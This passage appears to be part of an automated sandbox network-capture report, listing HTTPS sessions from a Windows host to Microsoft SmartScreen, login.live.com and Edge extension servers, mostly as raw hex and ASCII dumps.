W/^~b\|X_?r~vXwW
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-28 14:17:43 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-28 14:17:44 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49862	13.91.222.61	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOXlwemtMOHAwbVRNTkdKaXNzZ3BkUT09IiwgImhhc2giOiI0R1ZEeldmd281OD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br
2024-11-28 14:17:43 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-28 14:17:43 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:43 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-28 14:17:43 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49858	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 14:17:43 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 9d5edd33-c6ba-41c0-a987-4236ea6e975c PPServer: PPV: 30 H: PH1PEPF00012002 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close Content-Length: 11197
2024-11-28 14:17:44 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49854	152.195.19.97	443	7312	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733408257&P2=404&P3=2&P4=OK8E5VwaB53t0UgA4ZtseX%2fJdJHm2yLjYXayt4jj2xnOoIVVL6joJ7nlYprwYgcin5B37hW%2bn0r%2fYgfwexT8FA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: USpnP0t5/38PdQm/Dl2kfP Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 14:17:45 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12729996 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Thu, 28 Nov 2024 14:17:45 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-28 14:17:46 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49856	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-28 14:17:43 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 9780b76f-8db7-484e-ba23-19bd2c8c3ce0 PPServer: PPV: 30 H: PH1PEPF00012007 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:43 GMT Connection: close Content-Length: 11197
2024-11-28 14:17:44 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49860	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
